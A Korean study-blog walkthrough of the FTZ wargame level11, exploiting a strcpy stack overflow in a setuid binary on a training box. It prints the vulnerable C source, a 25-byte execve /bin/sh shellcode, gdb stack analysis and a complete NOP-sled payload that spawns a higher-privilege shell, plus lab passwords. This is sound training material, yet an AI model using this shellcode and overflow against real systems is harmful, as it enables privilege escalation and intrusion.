yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆

FTZ level11 풀이 본문

wargame 풀이/FTZ

FTZ level11 풀이

yehey 2020. 9. 23. 00:35
id: level11
pw: what!@#$?

 

putty 글씨체를 좀 바꿔보았당 ㅎㅎㅎ

이번에는 attackme 실행파일과 hint 파일이 존재한다. (attackme 파일에는 setuid가 설정되어있다.)

hint를 읽어보았더니 attackme의 소스코드를 보여준 것 같다.

//hint 내용 attackme 실행파일의 코드인 듯

#include <stdio.h>
#include <stdlib.h>

int main( int argc, char *argv[] )
{
        char str[256];	//str 문자열

        setreuid( 3092, 3092 );		//권한을 나타냄, level12
        strcpy( str, argv[1] );		//입력 값(argv[1])을 str에 복사
        //strcpy에는 BOF 취약점이 있다. 입력받는 문자열 크기를 받지 않아 원하는 만큼 입력할 수 있다.
        
        printf( str );	//복사된 str 출력
}

 

strcpy는 BOF 취약점이 있는 함수기 때문에 여기에 원하는 만큼의 입력값을 줘서 return address가 저장되어있는 곳에 우리가 원하는 주소를 넣을 것이다. 

 

attackme에 권한 상승은 있지만 따로 password를 출력하는 명령어는 존재하지 않기 때문에 쉘코드를 payload에 넣어준 뒤 쉘 코드의 시작주소를 return address에 넣어줄 것이다.

 

우리가 사용할 쉘 코드는 25bytes

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

가장 기본적인 쉘을 띄워준다.

 

우선 스택의 구조를 파악하기 위해 attackme를 tmp에 복사해서 gdb를 실행하자!

 

copy과정은 생략

이 중에서 필요한 부분만 분석해보자!

main+3 에서 스택을 264만큼 확장한 것을 볼 수 있다.

main+51 에서 eax에 ebp-264의 주소를 넣어주고 있고

main+57,58에서는 eax를 스택에 넣고 strcpy함수를 호출하는 것으로 보아 ebp-264가 str의 시작 주소임을 알 수 있다.

(main+69 이후에서도 ebp-264를 스택에 넣고 printf를 호출하기 때문에 ebp-264가 str의 시작 주소이다.)

 

그럼 스택의 구조를 다음과 같이 예상할 수 있다.

 

attackme 스택 구조

여기서 우리는 return address를 조작해야하기 때문에

str+dummy+sfp=256+8+4=268bytes 를 채워주어야 한다.

 

이 268bytes에 shell을 띄우는 쉘 코드와 의미없는 값(NOP)을 넣어줄 것이다. 

 

대략적인 payload: "\x90"*n+"shellcode"+"return address"

이런 형태를 띌 것이다.

 

str+dummy+sfp의 공간 중 임의의 공간에 쉘 코드를 넣어줄 것이기 때문에 NOPslide 기법을 이용할 것이다. 

그러려면 return address에 str의 시작 주소를 넣어주어야 하기 때문에 str의 메모리 상 시작주소를 한번 찾아보자!

 

attackme의 main에 breakpoint를 걸어주고, a를 264(str+dummy)만큼 입력하고 attackme를 실행해보자

 

이제 esp 레지스터를 확인해보자.

(실행하는 동안에만 메모리에 적재되기 때문에 정확한 메모리 주소를 알기위해 main에 break point를 걸어준다.)

x/80x $esp  (16진수로 출력) 

 

가장 왼쪽이 메모리 주소, 오른쪽 4개는 메모리에 올라간 값

여기서 enter 키를 계속 눌러주다 보면

0x41414141이 반복해서 많이 출력되는 것을 볼 수 있다.

(41은 10진수로 65, 65는 A의 아스키 코드, 우리가 A를 264만큼 입력했기 때문에 이렇게 나온 것!)

 

따라서 0xbffffb1c+13이 str이 메모리에 위치한 시작 주소라는 것을 알 수 있다. 

(0xbffffc2c+5는 sfp 주소, 0xbffffc2c+9는 return address라는 것도 알 수 있다.)

 

0xbffffb1c+13=0xbffffb29 가 str의 시작 주소이기 때문에 return address 자리에 이를 little endian 방식으로 넣어주자

 

최종 payload:

./attackme `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x29\xfb\xff\xbf"'`

 

(순서대로 NOP*243+shellcode(25bytes)+"return address"이다. 243+25=268=str+dummy+sfp)

 

payload를 입력하게 되면 attackme의 str 버퍼가 overflow되어 return address에 우리가 입력한 쉘 코드 주소가 들어가게 되고 (NOP slide를 이용하기 때문에 정확하지 않은 메모리 주소도 가능) 쉘 코드가 실행되어 level12 권한의 쉘이 실행될 것이다!

 

짜잔! sh 쉘이 실행되었다!

권한을 확인하고 my-pass로 pw를 얻었다!!!

 

level12의 pw: "it is like this"

'wargame 풀이 > FTZ' 카테고리의 다른 글

FTZ level13 풀이  (0) 2020.09.27
FTZ level12 풀이  (0) 2020.09.25
FTZ level10 풀이  (0) 2020.09.20
FTZ level9 풀이  (0) 2020.09.18
FTZ level8 풀이  (0) 2020.09.18
Comments